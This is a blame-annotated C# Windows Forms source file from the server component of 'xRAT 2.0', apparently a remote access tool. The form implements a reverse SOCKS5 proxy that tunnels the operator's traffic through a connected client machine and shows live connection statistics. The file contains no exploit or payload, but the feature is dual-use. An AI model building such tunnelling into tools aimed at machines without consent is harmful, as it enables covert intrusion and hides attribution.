2015-05-10 11:11:27 +00:00
|
|
|
|
using System;
|
|
|
|
|
using System.Windows.Forms;
|
|
|
|
|
using xServer.Core;
|
|
|
|
|
using xServer.Core.ReverseProxy;
|
|
|
|
|
|
|
|
|
|
namespace xServer.Forms
|
|
|
|
|
{
|
|
|
|
|
public partial class FrmReverseProxy : Form
|
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
private readonly Client _connectClient;
|
|
|
|
|
private ReverseProxyServer SocksServer { get; set; }
|
2015-05-10 11:11:27 +00:00
|
|
|
|
private delegate void Invoky();
|
|
|
|
|
|
|
|
|
|
public FrmReverseProxy(Client client)
|
|
|
|
|
{
|
|
|
|
|
InitializeComponent();
|
2015-05-10 17:42:17 +00:00
|
|
|
|
_connectClient = client;
|
|
|
|
|
_connectClient.Value.FrmProxy = this;
|
2015-05-10 11:11:27 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void FrmReverseProxy_Load(object sender, EventArgs e)
|
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
this.Text = string.Format("xRAT 2.0 - Reverse Proxy [{0}:{1}]", _connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString());
|
2015-05-10 11:11:27 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void btnStart_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
SocksServer = new ReverseProxyServer();
|
|
|
|
|
SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished;
|
|
|
|
|
SocksServer.OnUpdateConnection += socksServer_onUpdateConnection;
|
|
|
|
|
SocksServer.StartServer(_connectClient, "0.0.0.0", (int)nudServerPort.Value);
|
|
|
|
|
btnStart.Enabled = false;
|
|
|
|
|
btnStop.Enabled = true;
|
2015-05-10 11:11:27 +00:00
|
|
|
|
}
|
|
|
|
|
catch (Exception ex)
|
|
|
|
|
{
|
|
|
|
|
MessageBox.Show(ex.Message);
|
2015-05-10 17:02:10 +00:00
|
|
|
|
btnStop_Click(sender, null);
|
2015-05-10 11:11:27 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2015-05-10 17:02:10 +00:00
|
|
|
|
void socksServer_onUpdateConnection(ReverseProxyClient proxyClient)
|
2015-05-10 11:11:27 +00:00
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
if (proxyClient.ListItem != null)
|
2015-05-10 11:11:27 +00:00
|
|
|
|
{
|
|
|
|
|
this.Invoke(new Invoky(() =>
|
|
|
|
|
{
|
|
|
|
|
lock (LvConnections)
|
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
string totalReceivedStr = GetSizeStr(proxyClient.LengthReceived);
|
|
|
|
|
string totalSendStr = GetSizeStr(proxyClient.LengthSended);
|
2015-05-10 13:34:49 +00:00
|
|
|
|
|
2015-05-10 17:02:10 +00:00
|
|
|
|
proxyClient.ListItem.SubItems[0].Text = proxyClient.TargetServer;
|
|
|
|
|
proxyClient.ListItem.SubItems[1].Text = proxyClient.TargetPort.ToString();
|
2015-05-10 15:39:20 +00:00
|
|
|
|
|
2015-05-10 17:02:10 +00:00
|
|
|
|
if (proxyClient.ListItem.SubItems[2].Text != totalReceivedStr)
|
|
|
|
|
proxyClient.ListItem.SubItems[2].Text = totalReceivedStr;
|
2015-05-10 13:34:49 +00:00
|
|
|
|
|
2015-05-10 17:02:10 +00:00
|
|
|
|
if (proxyClient.ListItem.SubItems[3].Text != totalSendStr)
|
|
|
|
|
proxyClient.ListItem.SubItems[3].Text = totalSendStr;
|
2015-05-10 11:11:27 +00:00
|
|
|
|
|
2015-05-10 15:39:20 +00:00
|
|
|
|
|
|
|
|
|
|
2015-05-10 17:02:10 +00:00
|
|
|
|
if (!proxyClient.IsConnected)
|
2015-05-10 11:11:27 +00:00
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
LvConnections.Items.Remove(proxyClient.ListItem);
|
2015-05-10 11:11:27 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}));
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2015-05-10 17:02:10 +00:00
|
|
|
|
private string GetSizeStr(long size)
|
2015-05-10 13:34:49 +00:00
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
if (size > (1024 * 1024 * 1024))
|
|
|
|
|
return (size / (1024 * 1024 * 1024)) + "GB";
|
2015-05-10 13:34:49 +00:00
|
|
|
|
|
2015-05-10 17:02:10 +00:00
|
|
|
|
if (size > (1024 * 1024))
|
|
|
|
|
return (size / (1024 * 1024)) + "MB";
|
2015-05-10 13:34:49 +00:00
|
|
|
|
|
2015-05-10 17:02:10 +00:00
|
|
|
|
if (size > 1024)
|
|
|
|
|
return (size / 1024) + "KB";
|
2015-05-10 13:34:49 +00:00
|
|
|
|
|
2015-05-10 17:02:10 +00:00
|
|
|
|
return size + "B";
|
2015-05-10 13:34:49 +00:00
|
|
|
|
}
|
|
|
|
|
|
2015-05-10 17:02:10 +00:00
|
|
|
|
void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient)
|
2015-05-10 11:11:27 +00:00
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
if (proxyClient.ListItem == null)
|
2015-05-10 11:11:27 +00:00
|
|
|
|
{
|
|
|
|
|
this.Invoke(new Invoky(() =>
|
|
|
|
|
{
|
|
|
|
|
lock (LvConnections)
|
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
proxyClient.ListItem = new ListViewItem(new string[]
|
2015-05-10 11:11:27 +00:00
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
proxyClient.TargetServer,
|
|
|
|
|
proxyClient.TargetPort.ToString(),
|
|
|
|
|
proxyClient.LengthReceived/1024 + "KB",
|
|
|
|
|
proxyClient.LengthSended/1024 + "KB",
|
|
|
|
|
proxyClient.Type.ToString()
|
|
|
|
|
}) { Tag = proxyClient };
|
|
|
|
|
LvConnections.Items.Add(proxyClient.ListItem);
|
2015-05-10 11:11:27 +00:00
|
|
|
|
}
|
|
|
|
|
}));
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void btnStop_Click(object sender, EventArgs e)
|
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
btnStart.Enabled = true;
|
|
|
|
|
btnStop.Enabled = false;
|
|
|
|
|
if (SocksServer != null)
|
|
|
|
|
SocksServer.Stop();
|
2015-05-10 11:11:27 +00:00
|
|
|
|
|
|
|
|
|
try
|
|
|
|
|
{
|
2015-05-10 17:02:10 +00:00
|
|
|
|
SocksServer.OnConnectionEstablished -= socksServer_onConnectionEstablished;
|
|
|
|
|
SocksServer.OnUpdateConnection -= socksServer_onUpdateConnection;
|
2015-05-10 11:11:27 +00:00
|
|
|
|
}
|
|
|
|
|
catch { }
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e)
|
|
|
|
|
{
|
|
|
|
|
//Stop the proxy server if still active
|
2015-05-10 17:02:10 +00:00
|
|
|
|
btnStop_Click(sender, null);
|
2015-05-10 17:42:17 +00:00
|
|
|
|
|
|
|
|
|
if (_connectClient.Value != null)
|
|
|
|
|
_connectClient.Value.FrmProxy = null;
|
2015-05-10 17:02:10 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void nudServerPort_ValueChanged(object sender, EventArgs e)
|
|
|
|
|
{
|
|
|
|
|
lblProxyInfo.Text = string.Format("Connect to this Socks5 Proxy: 127.0.0.1:{0} (no user/pass)", nudServerPort.Value);
|
2015-05-10 11:11:27 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|